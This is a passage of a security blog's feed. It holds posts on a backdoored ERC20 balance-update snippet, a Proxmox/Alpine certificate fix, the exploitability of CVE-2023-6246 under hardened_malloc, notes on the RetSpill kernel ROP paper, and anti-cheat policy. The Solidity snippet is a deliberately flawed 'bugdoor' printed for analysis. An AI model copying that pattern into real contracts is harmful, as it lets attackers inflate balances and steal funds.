class="nv">mint</span><span class="p">)</span><span class="w"> </span><span class="kt">internal</span><span class="w"> </span>virtual<span class="w"> </span><span class="p">{</span> +<span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="nv">fromBalance</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>_balances<span class="p">[</span>from<span class="p">];</span> +<span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="nv">toBalance</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>_balances<span class="p">[</span>to<span class="p">];</span> +<span class="w"> </span><span class="kt">if</span><span class="w"> </span><span class="p">(</span>fromBalance<span class="w"> </span><span class="o">&lt;</span><span class="w"> </span>value<span class="p">)</span><span class="w"> </span><span class="p">{</span> +<span class="w"> </span>revert<span class="w"> </span>ERC20InsufficientBalance<span class="p">(</span>from<span class="p">,</span><span class="w"> </span>fromBalance<span class="p">,</span><span class="w"> </span>value<span class="p">);</span> +<span class="w"> </span><span class="p">}</span> + +<span class="w"> </span>unchecked<span class="w"> </span><span class="p">{</span> +<span class="w"> </span><span class="c1">// Overflow not possible: value &lt;= fromBalance &lt;= totalSupply.</span> +<span class="w"> </span>_balances<span class="p">[</span>from<span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>fromBalance<span class="w"> </span><span class="o">-</span><span class="w"> </span>value<span class="p">;</span> + +<span class="w"> </span><span class="c1">// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.</span> +<span class="w"> </span>_balances<span class="p">[</span>to<span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>toBalance<span class="w"> </span><span class="o">+</span><span class="w"> </span>value<span class="p">;</span> +<span class="w"> </span><span class="p">}</span> +</code></pre></div> + +<p>As a hint, look at <a href="https://app.sentio.xyz/tx/1/0x4b9de8c56c8919e8598181449a3cc02df40435eb641eaec08ecce12d2342237f">this transaction</a>. +Isn't it a cute bugdoor?</p> +<p>The snippet is taken from <a href="https://twitter.com/shoucccc/status/1757777764646859121">this tweet</a>, +giving the issue away. Thanks to <a href="https://github.com/kjsman">Jinseo Kim</a> for holding my hand +understanding what was going on there.</p>jvoisinFri, 16 Feb 2024 13:30:00 +0100tag:dustri.org,2024-02-16:/b/a-silly-smart-contract-bug.htmlsecurityFixing the /usr/lib/ssl/certs debacle with Alpine Linux on Proxmoxhttps://dustri.org/b/fixing-the-usrlibsslcerts-debacle-with-alpine-linux-on-proxmox.html<p>There are currently some issues with regard to OpenSSL and Alpine Linux on +Proxmox, tracked as <a href="https://bugzilla.proxmox.com/show_bug.cgi?id=5194">#5194</a> by Promox since the 19<sup>th</sup> of January, with some patches sent by +email (sigh) to fix the issue still waiting to land. The root cause being +Proxmox setting <code>SSL_CERT_FILE='/usr/lib/ssl/cert.pem'</code> when <code>pct enter</code> is +used, while on Alpine the <code>cert.pem</code> file is in <code>/etc/ssl/cert.pem</code>.</p> +<p>In the meantime, here is what the problem looks like (for +<a href="https://en.wikipedia.org/wiki/Search_engine_optimization">SEO</a>) and how to +hack around it: </p> +<div class="codehilite"><pre><span></span><code><span class="go">root@pve ~ pct enter 122</span> +<span class="gp"># </span>apk<span class="w"> </span>update +<span class="go">fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/main/x86_64/APKINDEX.tar.gz</span> +<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span> +<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span> +<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span> +<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span> +<span class="go">48AB2E51FA7F0000:error:0A000086:SSL routines:tls_post_process_server_certificate:certificate verify failed:ssl/statem/statem_clnt.c:1889:</span> +<span class="go">WARNING: updating and opening https://dl-cdn.alpinelinux.org/alpine/v3.18/main: Permission denied</span> +<span class="go">fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/community/x86_64/APKINDEX.tar.gz</span> +<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span> +<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span> +<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span> +<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span> +<span class="go">48AB2E51FA7F0000:error:0A000086:SSL routines:tls_post_process_server_certificate:certificate verify failed:ssl/statem/statem_clnt.c:1889:</span> +<span class="go">WARNING: updating and opening https://dl-cdn.alpinelinux.org/alpine/v3.18/community: Permission denied</span> +<span class="go">4 unavailable, 0 stale; 30 distinct packages available</span> +<span class="gp"># </span>^D +<span class="go">root@pve ~ lxc-attach -n 122 </span> +<span class="gp"># </span>apk<span class="w"> </span>update<span class="p">;</span><span class="w"> </span>apk<span class="w"> </span>upgrade +<span class="go">fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/main/x86_64/APKINDEX.tar.gz</span> +<span class="go">fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/community/x86_64/APKINDEX.tar.gz</span> +<span class="go">v3.18.6-10-g1bb71e18dfb [https://dl-cdn.alpinelinux.org/alpine/v3.18/main]</span> +<span class="go">v3.18.6-9-g41de282e84d [https://dl-cdn.alpinelinux.org/alpine/v3.18/community]</span> +<span class="go">OK: 20069 distinct packages available</span> +<span class="go">OK: 10 MiB in 30 packages</span> +<span class="gp"># </span>^D +<span class="go">root@pve 16:58 ~ </span> +</code></pre></div> + +<p>tl;dr: <code>lxc attach -n 123</code> instead of <code>pct enter 123</code></p>jvoisinMon, 05 Feb 2024 17:00:00 +0100tag:dustri.org,2024-02-05:/b/fixing-the-usrlibsslcerts-debacle-with-alpine-linux-on-proxmox.htmlsysadminMusings on CVE-2023-6246 on hardened_mallochttps://dustri.org/b/musings-on-cve-2023-6246-on-hardened_malloc.html<p>Qualys' <s>security team</s> Threat Research Unit <a href="https://seclists.org/oss-sec/2024/q1/68">published</a> +a couple of hours ago a linear two-step heap buffer overflow in glibc's +<code>syslog()</code>:</p> +<div class="codehilite"><pre><span></span><code><span class="mi">206</span><span class="w"> </span><span class="n">buf</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">malloc</span><span class="w"> </span><span class="p">((</span><span class="n">bufsize</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">sizeof</span><span class="w"> </span><span class="p">(</span><span class="kt">char</span><span class="p">));</span> +<span class="p">...</span> +<span class="mi">213</span><span class="w"> </span><span class="n">__snprintf</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="w"> </span><span class="n">l</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span> +<span class="mi">214</span><span class="w"> </span><span class="n">SYSLOG_HEADER</span><span class="w"> </span><span class="p">(</span><span class="n">pri</span><span class="p">,</span><span class="w"> </span><span class="n">timestamp</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">msgoff</span><span class="p">,</span><span class="w"> </span><span class="n">pid</span><span class="p">));</span> +<span class="p">...</span> +<span class="mi">221</span><span class="w"> </span><span class="n">__vsnprintf_internal</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">l</span><span class="p">,</span><span class="w"> </span><span class="n">bufsize</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">l</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="n">fmt</span><span class="p">,</span><span class="w"> </span><span class="n">apc</span><span class="p">,</span> +<span class="mi">222</span><span class="w"> </span><span class="n">mode_flags</span><span class="p">);</span> +</code></pre></div> + +<p>the tl;dr is that <code>bufsize</code> is <code>0</code> while <code>l</code> is user-controlled. +As mentioned in the advisory, messing with nss structures as done +in their (phenomenal) <a href="https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt"><code>Baron Samedit</code> sudo +exploit</a> +is a good way to get a root shell on the glibc.</p> +<p>While the bug is in glibc's <code>syslog</code>, it's not unheard of for +people to run custom allocators for performance/security/speed/… reasons. +One of those could be, for example, <a href="https://github.com/GrapheneOS/hardened_malloc">hardened_malloc</a>, +<a href="https://grapheneos.org">GrapheneOS</a>'s security-focused allocator, raising +the question "would <code>hardened_malloc</code> make this particular bug +unexploitable on my x86_64 Debian machine?"</p> +<p>After discussing this with friends, we don't <em>think</em> that it makes +the bug completely unexploitable, but ridiculously complicated, which is good +enough™ for me. But keep in mind that this "analysis" was done hastily at 2am, +so caveat lector.</p> +<p><code>hardened_malloc</code> uses size-based slabs isolation, popularised by +<a href="https://chromium.googlesource.com/chromium/src/+/master/base/allocator/partition_allocator/PartitionAlloc.md">PartitionAlloc</a>. +Since <code>bufsize</code> is zero, this is a 1-byte +allocation, falling into the +<a href="https://github.com/GrapheneOS/hardened_malloc/blob/main/h_malloc.c#L147">16 bytes size-class</a>, +the smallest after the special <code>0</code> one. So to exploit this, one would have to find an +interesting object of size 16 bytes or lower to overwrite. But since +canaries are enabled by default, this becomes even more difficult: sizes of +allocations are actually bumped by 8 bytes, meaning that one would actually +have to find an interesting object of size 8 bytes or lower.</p> +<p>Moreover, 16-byte slabs can contain at most 256 allocations, and are +surrounded by guard pages, meaning that accessing anything below <code>buf</code> and +above <code>buf+(256*16)</code> will result in a crash.</p> +<p>Allocations are randomized, which might help for bruteforcing the heap layout: +if the current one isn't exploitable, just crash and start again. But it will +also result in a lot more crashes, since <code>buf</code> might be allocated closer to +the guard page.</p> +<p>There are of course other mitigations, but they aren't relevant in this +particular case, like canaries that are checked on <code>free</code>, +or <a href="https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/enhanced-security-through-mte">ARM's MTE</a> that completely kills linear-overflows.</p> +<p>Given the ludicrous amount of randomization <code>hardened_malloc</code> applies to heap bases (32G +per region), bruteforcing offsets of anything not on the heap is futile. +So one would have to find something interesting in an object of 8 bytes or less on +the heap, like a path to corrupt as in <code>service_user</code>, +or some partial-overwrite of a function-pointer to call a +<a href="https://david942j.blogspot.com/2017/02/project-one-gadget-in-glibc.html">one-shot-gadget</a>, …</p> +<p>Thanks to <code>strcat</code> for the handholding, and +to <code>jdoe</code>, <code>drvink</code> and <code>J</code> for their diligent proofreading,</p>jvoisinWed, 31 Jan 2024 02:00:00 +0100tag:dustri.org,2024-01-31:/b/musings-on-cve-2023-6246-on-hardened_malloc.htmlsecurityPaper notes: RetSpillhttps://dustri.org/b/paper-notes-retspill.html<ul> +<li>Full title: RetSpill: Igniting User-Controlled Data to Burn Away Linux Kernel Protections</li> +<li>PDF: <a href="https://dl.acm.org/doi/10.1145/3576915.3623220">ACM</a> — + <a href="https://kylebot.net/papers/retspill.pdf">mirror</a> — + <a href="https://dustri.org/b/files/papers/retspill.pdf">local mirror</a></li> +<li>Authors: <a href="https://kylebot.net/">Kyle "kylebot" Zeng</a>, + <a href="https://ruoyuwang.me/">Ruoyu Wang</a>, + <a href="https://yancomm.net/">Yan Shoshitaishvili</a>, + and <a href="https://adamdoupe.com/">Adam Doupé</a> from <a href="https://shellphish.net/">Shellphish</a>, + along with <a href="https://zplin.me/">Zhenpeng Lin</a>, + <a href="https://www-users.cse.umn.edu/~kjlu/">Kangjie Lu</a>, + <a href="http://xinyuxing.org/">Xinyu Xing</a> and + <a href="https://www.tiffanybao.com/">Tiffany Bao</a>.</li> +</ul> +<p>The idea of the paper is to use user-controlled data that are by design copied +in kernel-land when exercising syscalls to store a <a href="https://en.wikipedia.org/wiki/Return-oriented_programming">ROP</a>-chain, via 4 main venues:</p> +<ul> +<li>Valid Data directly copied onto the kernel stack for performance reasons, like when + calling <code>poll</code>;</li> +<li>Preserved Registers, restored upon returning from kernel-land to + userland. </li> +<li>Calling Convention compliant functions will save/restore registers, and + apparently, system call handlers are calling convention compliant + even though the kernel is already taking care of those, + and syscalls can <a href="https://www.kernel.org/doc/html/latest/process/adding-syscalls.html?highlight=syscall_define#do-not-call-system-calls-in-the-kernel">only be called from userland</a>. + But even if the syscalls handles weren't compliant, registers still contain + userland values when they're called, and sub-functions might store/restore + those registers, since those do need to be compliant.</li> +<li>Uninitialized Memory, since the per-thread kernel stack is reused between syscalls, + and not erased (unless <code>PAX_MEMORY_STACKLEAK</code> is used).</li> +</ul> +<p>Then, only a <a href="https://en.wikipedia.org/wiki/KASLR">KASLR</a> leak, +a CFHP (control-flow hijacking primitive) +and a <code>add rsp, X; ret</code>-like gadget are required to <a href="https://www.youtube.com/watch?v=FoUWHfh733Y">ROP all the things</a>. +Nowadays, most™ CFHP are created by corrupting the heap to hijack function +pointers, and since every kernel thread shares the same heap, +once it is is properly shaped, the control flow hijacking primitive can likely +be triggered again and again from a different threads. +Moreover, changing the exploit is simply a matter of re-invoking a syscall with +different data spill, instead of having to reshape the heap every single time. +One doesn't have to worry about crashes (enabling lame bruteforcing), since no +major Linux distributions (except CentOS, kudos) has <code>panic_on_oops</code> enabled, +so having a ROP-chain crash is no big deal, because the CFHP is still on the +heap, one syscall away.</p> +<p>Since the space afforded to store gadgets might be too small, one trick is to +invoke <code>do_task_dead</code> at the end of every ROP-chain to terminate it gracefully, +and trigger the CFHP again and again.</p> +<p>Mitigation-wise: </p> +<ul> +<li><a href="https://en.wikipedia.org/wiki/Control_register#SMEP">SMEP</a>, + <a href="https://en.wikipedia.org/wiki/Supervisor_Mode_Access_Prevention">SMAP</a> and + <a href="https://en.wikipedia.org/wiki/Kernel_page-table_isolation">KPTI</a> are irrelevant.</li> +<li><a href="https://pax.grsecurity.net/docs/randkstack.txt">RANDKSTACK</a> mitigates data spillage from Preserved Registers and Uninitialized Memory, + but since it only provides 5 bits of randomness, a <code>ret</code>-sled is enough + to bypass it (25.44% of the time if using gadgets from Preserved Registers or Uninitialized Memory, 100% otherwise), + and in the absence of <code>panic_on_oops</code> it can quickly be bruteforced anyway.</li> +<li><a href="https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options#Sanitize_kernel_stack">STACKLEAK</a>, + <a href="https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options#Forcibly_initialize_local_variables_copied_to_userland">STRUCTLEAK</a>, + and <a href="https://lwn.net/Articles/823152/">CONFIG_INIT_STACK_*</a> + only mitigate data spillage from Uninitialized Memory.</li> +<li><a href="https://lwn.net/Articles/824307/">FG-KASLR</a> is <a href="https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/#gathering-useful-gadgets">useless</a> + since it doesn't randomize everything, leaving a couple (<code>42631</code> according to + the paper) of gadgets at position-invariant positions, which are enough to perform + arbitrary-reads and derandomize everything.</li> +<li><a href="https://lore.kernel.org/lkml/202210010918.4918F847C4@keescook/T/#u">KCFI</a> + and <a href="https://www.intel.com/content/www/us/en/developer/articles/technical/technical-look-control-flow-enforcement-technology.html">IBT</a> + also (currently) don't cover everything, but don't really matter much here + anyway, since we only care about backward-edges, and as for the CFHP:</li> +<li>There <a href="https://i.blackhat.com/USA-22/Wednesday/US-22-Jin-Monitoring-Surveillance-Vendors.pdf#page=35">are ways</a> + to obtain one in the presence of perfect forward-edge CFI with a heap corruption.</li> +<li>Using <code>__x86_indirect_thunk_rdi</code> allows to transform a forward-edge control-flow transition to backward edge one.</li> +<li>Shadow stack and perfect CFI are a pipe dream that would mitigate RetSpill, + but <a href="https://pax.grsecurity.net/docs/PaXTeam-H2HC15-RAP-RIP-ROP.pdf">PaX' RAP</a> + is really close to it, likely making it insanely hard, with its type-based + CFI, and its changing-on-every-syscall/task/… register-stored cookie paired + with unreadable kernel stacks for backward edge, on top of CFI.</li> +</ul> +<p>To showcase how cool all of this is, the paper comes with a semi-automated tool +outputting the address of a stack-shifting gadget, a function to performs data +spillage, invoke the triggering system call, and yield a root shell via a +classic <code>commit_creds(init_cred)</code> + returning back to user space. It works by:</p> +<ul> +<li>taking full snapshots of a vm to locate the syscall leading to CFHP by using + a binary-search-like heuristic;</li> +<li>mutating userland inputs (registers, <code>copy\_from\_user</code>/<code>get\_user</code> + parameters, …), continuing the execution of the vm, + marking the as user-controllable data if the CFHP still + happens after modifications, and doing taint analysis to find how to modify + them.</li> +<li>generating a ROP-chain, which isn't that easy, given that:</li> +<li>it's done over discrete controlled regions</li> +<li>there are some constraints, like "<code>eax</code> contains the syscall number", + or "<code>edx</code> comes from both <em>Saved Registers</em> and <em>Calling Convention</em> + spillages.</li> +</ul> +<p>Of course, given that some authors are <a href="https://angr.io/">angr</a> developers, +<a href="https://github.com/angr/angrop">angrop</a> was used to knit the ROP-chains, and +the results are pretty impressive:</p> +<blockquote> +<p>The abundance of data spillage allows 20 out of 22 proof-of-concept programs +that manifest CFHP to be semi-automatically turned into full privilege escalation exploits.</p> +</blockquote> +<p>To kill this technique, the authors suggest:</p> +<ol> +<li><em>Preserved Register</em>: <code>RANDKSTACK</code> helps, but storing userspace registers + somewhere else than on the stack would be even better, eg. in <code>task_struct</code>.</li> +<li><em>Uninitialized Memory</em>: enable <code>STACKLEAK</code>/<code>STRUCTLEAK</code>/<code>CONFIG\_INIT\_STACK\_\*</code>, + but the performances impact is pretty steep.</li> +<li><em>Calling Convention</em> and <em>Valid Data</em>: an improved version of <code>RANDKSTACK</code>, + adding a random offset at the bottom of each stack frame, between <code>rsp</code> and user data. + This technique also mitigates Preserved Registers and Uninitialized Memory, + with an average performance overhead of 0.61%.</li> +</ol> +<p>Like all good papers it comes <a href="https://github.com/sefcom/RetSpill">with code</a>.</p> +<p>Amusingly:</p> +<ul> +<li>RetSpill completely bypasses OpenBSD's + <a href="https://isopenbsdsecu.re/mitigations/map_stack/">MAP_STACK</a> mitigation, + should it ever be implemented in kernel-land, </li> +<li>The <a href="https://org.anize.rs/">Organizers</a> CTF team + <a href="https://org.anize.rs/0CTF-2021-finals/pwn/kernote">used</a> + the <a href="https://elixir.bootlin.com/linux/latest/ident/pt_regs"><code>ptregs</code></a> structure + to store their ROP chain for <a href="https://ctftime.org/event/1357">0CTF/TCTF 2021 + Finals</a>'s + <a href="https://ctftime.org/task/17461">Kernote</a> pwn challenge.</li> +</ul>jvoisinThu, 18 Jan 2024 16:45:00 +0100tag:dustri.org,2024-01-18:/b/paper-notes-retspill.htmlpaper_notesOn non-technical video-games cheat mitigationshttps://dustri.org/b/on-non-technical-video-games-cheat-mitigations.html<p>Cheats are as old as video games, and will be there as long. There +are a couple of high-profile players in the anti-cheat market today: +<a href="https://en.wikipedia.org/wiki/BattlEye">BattlEye</a>, +<a href="https://en.wikipedia.org/wiki/Valve_Anti-Cheat">Valve's VAC</a>, +<a href="https://en.wikipedia.org/wiki/PunkBuster">PunkBuster</a>, +<a href="https://easy.ac/en-us/">Epic's EAC</a>, +<a href="https://wowpedia.fandom.com/wiki/Warden_(software)">Blizzard's Warden</a>, +<a href="https://support-valorant.riotgames.com/hc/en-us/articles/360046160933-What-is-Vanguard-">Riot's Vanguard</a>, +<a href="https://callofduty.com/en/warzone/ricochet">Activision's Ricochet</a>, +… as well as in-house ones.</p> +<p>To try to keep up in the race, both sides are resorting to more and more invasive +technical privacy-invasive measures: streaming virtualised shellcodes, +hardware fingerprinting and locking, +<a href="https://secret.club/2020/01/05/battleye-stack-walking.html">stack-walking</a>, +bootkit-like kernel drivers, +<a href="https://en.wikipedia.org/wiki/Trusted_Platform_Module">TPM</a>/ +secure boot/ +<a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/bringup/device-guard-and-credential-guard">HVCI</a>/ +<a href="https://en.wikipedia.org/wiki/Input%E2%80%93output_memory_management_unit">IOMMU</a>/ +<a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">VBS</a>/… +<a href="https://support-valorant.riotgames.com/hc/en-us/articles/22291331362067-Vanguard-Restrictions">shenanigans</a>, +hypervisors <a href="https://secret.club/2020/04/13/how-anti-cheats-detect-system-emulation.html">detection</a>/usage, +<a href="https://secret.club/2020/03/31/battleye-developer-tracking.html">exfiltration of suspicious materials</a>, +external <a href="https://en.wikipedia.org/wiki/Direct_memory_access">DMA</a> hardware, +or other <a href="https://dustri.org/b/paper-notes-reversing-anti-cheats-detection-generation-cycle-with-configurable-hallucinations.html">more exotic things</a>.</p> +<p>Yet anti-cheats are still routinely bypassed, less in a public manner, granted, but private +and closed-community cheats are still flourishing, since it's a losing game by +nature. And since games and anti-cheats are software, they're of course riddled +with <a href="https://vice.com/en/article/d7y5wj/street-fighter-v-rootkit">hilarious</a> bugs leading to +<a href="https://unknowncheats.me/forum/anti-cheat-bypass/614682-eac-dll-loading-method-eac-forcer.html">stupid</a> +<a href="https://unknowncheats.me/forum/anti-cheat-bypass/503052-easy-anti-cheat-kernel-packet-fucker.html">bypasses</a>.</p> +<p>But this isn't what this blogpost is about. Nowadays, cheats are considered as +part of a larger problem: abuses and toxicity. Cheats aren't (only) hunted down +because they're morally questionable, but because they disturb the way the game is meant to be +enjoyed. Toxic and abusive behaviours lead to the very same results: +A game that isn't fun to play because of cheating/abuse/toxicity issues will see its +players number decrease, have poor reviews, … and won't make money. I'm sure +there is a parallel to be made about the current state of our society, but I +digress.</p> +<p>For this article, we'll consider cheating and abuse/toxicity +as a single issue under the term <em>abuse</em>. +Now, because abuse isn't a purely technical issue, but also a social one, it +can't be solved by technical solutions only, so let's have +a look at what non-technical mitigations game developers are +coming up with to curb this issue.</p> +<p>The most obvious mitigation is to make cheating expensive, money wise. +Having to pay 60EUR for a game is a steep investment, especially if one +has to buy it again every time they get banned. This of course doesn't +apply for free-to-play games, but can be emulated by having a cosmetics +ecosystem, either to pay for, or to grind. The other expensive thing when +playing video games is the hardware, and bans can be tied to it.</p> +<h2>Global measures</h2> +<p>The <em>big</em> mitigation at this level is reputation systems. They're based on +people who know best how a fun and fair game should go: players. After a +match, they're encouraged to cast votes on how fair it was, on a match level, +but also directly at players level: "Bob was really looking out for others", +"Bob was a team player", and so on. For negative behaviour, reports don't have +to wait the end of the match, players can report +cheating, being offensive in the text/voice chat, <a href="https://en.wikipedia.org/wiki/Griefer">griefing</a>, +queue dodging, <a href="https://www.urbandictionary.com/define.php?term=smurfing">smurfing</a>, … +Of course, slanderous reports are penalised.</p> +<p>Peer pressure is a good lever too, by taking action not only against cheaters, +but from people benefiting from the cheat, like regular teammates.</p> +<p><a href="https://en.wikipedia.org/wiki/Bug_bounty_program">Bug bounty programs</a> are now commonplace, +so it's only logical that there are now <a href="https://hackerone.com/riot">some</a> +rewarding anti-cheat bypasses/exploits. The rewards are a bit cheap for now, +but will likely rise up as the programs mature. The positive effects are +multiples:</p> +<ol> +<li>It increases the incentives to report issues to get them fixed: a player + finding a glitch/exploit can now get some cash for the discovery</li> +<li>As more abuse vectors are killed, the reward prices will rise, and it might + become more profitable to report bugs than to sell them to cheat providers. + This isn't unheard of, with <a href="https://google.github.io/security-research/kernelctf/rules.html">Google's + kernelCTF</a> + paying two times more than Zerodium.</li> +<li>If the bug bounty program is correctly managed, the probability of getting a + given amount of money for reporting an issue will be higher than using it in + a cheat for an unknown period of time until it gets fixed.</li> +<li>It will likely increase the amount of people looking for issues and willing + to report them.</li> +</ol> +<p>Community managers can also regularly <s>spread <a href="https://en.wikipedia.org/wiki/Fear,_uncertainty,_and_doubt">FUD</a></s> +post updates about ban waves, anti-cheat measures, reports, … to make it +clear that abusive behaviours are something being taken care of, +and a dangerous gamble for players to take part in. I think +I have seen some people spending time proving that some cheaters streaming live +were in fact recycled pre-recorded footage from an earlier version of game, +because some of the game details have been updated in the meantime.</p> +<h2>Accounts-level measures</h2> +<p>Some game stores, like <a href="https://en.wikipedia.org/wiki/Steam_(service)">Steam</a>, +have an account-level "cheater" mark, meaning that if someone gets banned from a game for cheating, +other games can know about it. But more importantly, +<a href="https://en.wikipedia.org/wiki/Achievement_(video_games)">achievements</a> +and cosmetics are also tied to an account, and as mentioned previously, +those are non-zero time and/or money investments. Getting banned means losing +them. This of course only deters opportunistic cheaters, +as people can simply create other accounts to cheat, but this can be made +harder via purely technical means.</p> +<p>Most <em>competitive</em> online games have ranked and casual game modes, with the +former being only accessible after having spent a certain amount of time in the +latter one. Meaning that one has to do it again every time they get banned, +or <a href="https://en.wikipedia.org/wiki/Boosting_(video_games)">pay someone to do it</a>. +Some studios are even making player go through more hoops to be able to play, like requiring +<a href="https://en.wikipedia.org/wiki/Multi-factor_authentication">MFA</a>, +or playing a couple of matches against <a href="https://en.wikipedia.org/wiki/Video_game_bot">bots</a> +branded as a tutorial, before being able to play with other people. There is a +course a fine balance to keep to annoy abusers but not legitimate players.</p> +<h2>Player-level measures</h2> +<p>The goal of non-technical measures isn't to make it impossible to be abusive, +but to make it not worth it. Moreover, issuing instahwpermabans to <a href="https://en.wikipedia.org/wiki/Edgelord">edgelords</a> +seems a tad heavy-handed, so having a large panel of measures against abuser makes sense: +one might want to allow people to rectify their behaviour, to isolate them to +cool down, and so on. It might include textual warnings, temporary bans, kick +from the current game, chat/voice mute, losing access to ranked play, +reducing the amount of earned experience points, …</p> +<p>Players are abusive for various reasons, but I'd argue that most do because +it's fun. Ruining the fun for them is thus a good way to curb such behaviours. +A simple way to do this is to make them play together, by grouping players +by reputation, or by having servers with technical anti-cheat measures +explicitly disabled. But there are even more creative measures, +like <a href="https://www.callofduty.com/en/blog/2023/11/call-of-duty-ricochet-anti-cheat-modern-warfare-III-progress-report">disabling their parachute</a>, +reducing their damage output to ridiculous levels, taking away their weapons, +<a href="https://www.callofduty.com/blog/2023/06/call-of-duty-ricochet-anti-cheat-season-04-update">making other legitimate players invisible to them</a>, +randomly drop some of their inputs, +<a href="https://dustri.org/b/paper-notes-reversing-anti-cheats-detection-generation-cycle-with-configurable-hallucinations.html">hallucinations</a>, … and +while this costs a bit more engineering time than simply grouping them +together, it has a couple of high-value returns on investment: +- allowing game developers to spend more time collecting data on how cheats are working on a technical level, +- reducing the impact cheaters have on a game make is possible to + significantly defer banning them without impacting other players too much, + making it harder for cheat makers to pinpoint how and why a cheat was + detected. +- it's absolutely hilarious</p> +<h2>Examples</h2> +<h3><a href="https://en.wikipedia.org/wiki/Tom_Clancy's_Rainbow_Six_Siege">Rainbow Six Siege</a></h3> +<ul> +<li>It uses BattlEye, and in end-2022 early 2023 banned around + <a href="https://ubisoft.com/en-us/game/rainbow-six/siege/news-updates/2g7hT2NNuOqrj35RfgsFxN/anticheat-status-update-march-2023">5000</a> + accounts per month, which is a lot, but also shows that it doesn't deter + cheaters.</li> +<li>The game costs <a href="https://store.steampowered.com/app/359550/Tom_Clancys_Rainbow_Six_Siege/">$8</a>, + but if you want to have access to all the operators, it's $70. One can also + unlock operators by playing, which takes several hundreds of hours.</li> +<li>To play ranked, one need to reach <a href="https://ubisoft.com/en-gb/game/rainbow-six/siege/news-updates/4hShcX2HZTG2ttIi3IIN9Y/matchmaking-rating">level 50</a>, + which takes around 50h, give or takes.</li> +<li>The game has a rich ecosystem of cosmetics + than can be <a href="https://store.ubisoft.com/us/dlc-type-skins-cosmetics">purchased for steep prices</a>, + and painstakingly earned by playing, + that would be lost in cast of an account ban.</li> +<li>Friendly fire will result in the damages being applied to the shoot + should it be reported as voluntary by the player at the receiving end.</li> +<li>It's developing a pretty involved <a href="https://ubisoft.com/en-gb/game/rainbow-six/siege/news-updates/22JLMFeayzuamhb7YKbAjm/reputation-system-activation-more">reputation system</a>, + where people with a "positive" behaviour gets rewarded (more experience + points, cosmetics, …), while those with a "negative" one + might be prevented from playing <em>ranked</em>, + get less experience points, + …</li> +</ul> +<h3><a href="https://en.wikipedia.org/wiki/Call_of_Duty:_Modern_Warfare_II_(2022_video_game)">Call of Duty: Modern Warfare II</a>:</h3> +<ul> +<li>The game costs <a href="https://store.steampowered.com/app/1962660/Call_of_Duty_Modern_Warfare_II/">$70</a>.</li> +<li><a href="https://callofduty.com/blog/2023/02/call-of-duty-modern-warfare-II-ranked-play-features-challenges-rewards">"Players must be at least Level 16 to access Ranked Play"</a>, + but this can be done in a couple of hours.</li> +<li>Cheating results in account-wise permaban across all Call of Duty titles.</li> +<li>Banned accounts have their records purged from leaderboards.</li> +<li>Players engaging in "negative" behaviours might get + muted on chat/voice, … and interestingly, cheaters + are going to get paired with other cheaters in matchmaking. + <a href="https://support.activision.com/articles/call-of-duty-security-and-enforcement-policy">Players who are often playing with the same cheaters</a> (boosting), + will also get their reputation tanked.</li> +</ul> +<h3><a href="https://playvalorant.com/">Valorant</a></h3> +<p>Its developer even published a +<a href="https://playvalorant.com/en-us/news/tags/game-health-series/">great series of blopost</a> on +what it calls "game health"</p> +<ul> +<li>The game is free-to-play, but comes with <em>a lot</em> of <a href="https://valorantstrike.com/valorant-store/">cosmetics</a>.</li> +<li>Cheaters get a permaban, but people benefiting from them might get a 6 months one as well.</li> +<li>Players joining games and <a href="https://playvalorant.com/en-gb/news/dev/valorant-behavior-detection-and-penalty-updates/">idling to reap out experience points</a>, + doing nothing but 